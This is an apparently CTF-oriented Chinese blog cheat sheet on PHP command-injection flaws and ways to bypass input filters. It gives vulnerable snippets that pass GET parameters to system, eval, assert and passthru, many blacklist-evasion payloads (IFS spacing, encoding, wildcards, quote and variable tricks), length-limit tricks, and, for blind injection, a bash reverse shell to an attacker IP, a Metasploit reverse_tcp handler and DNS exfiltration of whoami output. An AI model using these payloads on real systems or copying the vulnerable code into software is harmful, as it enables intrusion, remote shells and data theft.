• 命令执行漏洞,绕过过滤姿势


    很久之前的存稿,可能有些错误

    命令执行漏洞

    exec()函数

    exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。 执行外部程式。
    语法 : string exec(string command, string [array], int [return_var]);
    传回值 : 字串
    函式种类 : 作业系统与环境

    system:调用系统命令函数

    <?php $a=$_GET['a']; $output=system($a); echo $output; ?>

    assert:assert能帮助我们执行一些php的指令,并且对于代码的规范不是很严格

    <?php $a=$_GET['a']; $output=assert($a); echo $output; ?>

    eval:eval() 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

    <?php $a=$_GET['a']; $output=eval($a); echo $output; ?>

    passthru:passthru — 执行外部程序并且显示原始输出。

    <?php $a=$_GET['a']; $output=passthru($a); echo $output; ?>

    preg_replace:pattern处存在一个"/e"修饰符时,$replacement的值会被当成php代码来执行。

    <?php $a = $_GET['a']; echo preg_replace("/test/e", $a, "just test!") ?>

    popen:popen() 函数打开进程文件指针,就跟c语言当中fopen函数差不多。

    <?php $file = popen("/bin/ls","r"); pclose($file); ?>

    命令执行漏洞的空格过滤

    在linux当中,%09(tab)、$IFS$9、 ${IFS}、$IFS这些都可以当做空格符作为代替。

    一些命令分隔符:

    linux中:%0a 、%0d 、; 、& 、| 、&&、||
    windows中:%0a、&、|、%1a

    花括号的别样用法:

    在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,例如{mv1,文件1,文件2}

    拼接绕过黑名单

    a=l;b=s;$a$b
    a=fl;b=ag;cat $a$b

    编码绕过
    $(printf "154163") ==>ls
    $(printf "x63x61x74x20x2fx66x6cx61x67") ==>cat /flag
    {printf,"x63x61x74x20x2fx66x6cx61x67"}|$0 ==>cat /flag
    
    单引号,双引号绕过:

    ca''t flag 或ca""t flag

    反斜杠绕过

    1; ls -l;1

    利用shell特殊变量绕过

    1; l$@s -l;1 · 1; l$*s -l;1 1; l$ns -l;1 //n为任意数字都可以

    绕过长度限制

    1>1.txt创建一个空文件,当然任何大于1的数字都可以被用来创建一个空文件。

    内联执行
    root@kali:~# echo “a`ifconfig`”  或者 echo “abcd $(pwd)
    “abridge0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether 46:1e:b4:09:b7:c9 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4 bytes 288 (288.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.114.128 netmask 255.255.255.0 broadcast 192.168.114.255 inet6 fe80::20c:29ff:fe12:e944 prefixlen 64 scopeid 0x20 ether 00:0c:29:12:e9:44 txqueuelen 1000 (Ethernet) RX packets 71893 bytes 25359864 (24.1 MiB) RX errors 1 dropped 0 overruns 0 frame 0 TX packets 4286 bytes 274575 (268.1 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 19 base 0x2000 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 1000 (Local Loopback) RX packets 80 bytes 4136 (4.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 80 bytes 4136 (4.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0”
    
    其他方法

    利用通配符: 1; cat${IFS}fl* ;1
    最简单的:1;cat *;1
    1; cat${IFS}fla? ;1
    1; cat${IFS}fla[^1] ;1

    当cat被过滤后
    (1)more:一页一页的显示档案内容
    (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
    (3)head:查看头几行
    (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    (5)tail:查看尾几行
    (6)nl:显示的时候,顺便输出行号
    (7)od:以二进制的方式读取档案内容
    (8)vi:一种编辑器,这个也可以查看
    (9)vim:一种编辑器,这个也可以查看
    (10)sort:可以查看
    (11)uniq:可以查看
    (12)file -f:报错出具体内容
    
    <与<<的区别

    使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入。
    >>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容。

    文件读取绕过
    root@kali:~# ls -t
    flag
    root@kali:~# ls -t > a
    root@kali:~# sh a
    flag wwww
    

    对于长度有限制

    root@kali:~# l
    > s
    >  
    > -
    > l
    > >q
    root@kali:~# cat q
    总用量 5216
    -rw-r--r--  1 root    root          0 5月   4 11:59 1
    -rw-r--r--  1 root    root    1319936 2月  27 16:45 1.exe
    -rw-r--r--  1 root    root          0 1月  29 16:03 1.jpg
    -rwxr-xr-x  1 root    root         62 1月  21 21:47 1.sh
    
    
    利用base64编码绕过
    root@kali:~# `echo Y2F0Cg== |base64 -d` testip.txt 
    sss
    ddd
    
    处理无回显的命令执行漏洞

    利用bash命令: 使用nc监听我们的8080端口:nc -l -p 8080 -vvv 把bash命令传过来:bash -i >& /dev/tcp/ip地址/8080 0>&1 关于这个的具体实现原理可以再网上找下,有很多详细的说明。

    msf

    利用msf也可以,

    use exploit/multi/handler
    set payload linux/armle/shell/reverse_tcp
    set lport 8080
    set lhost ip地址
    set exitonsession false
    exploit -j
    
    利用dns解析
    root@kali:~# ping `whoami`.******.ceye.io 
    ping: root.******.ceye.io: 未知的名称或服务
    
  • 相关阅读:
    算法的时间与空间复杂度(一看就懂)
    技术人更应该学会即兴表达
    架构设计之「数据库集群方案」
    架构设计之「数据库从主备到主主的高可用方案」
    网络中的「动态路由算法」,你了解吗?
    当你「ping 一下」的时候,你知道它背后的逻辑吗?
    不懂高性能的负载均衡设计?没关系,架构师带你飞
    piwik流量统计系统搭建(apache2.4+piwik+mysql5.6+php5.6.14)
    SQL Server 之 GROUP BY、GROUPING SETS、ROLLUP、CUBE
    CAS 实现单点登录 .NET MVC
  • 原文地址:https://www.cnblogs.com/ophxc/p/12826497.html
Copyright © 2020-2023  润新知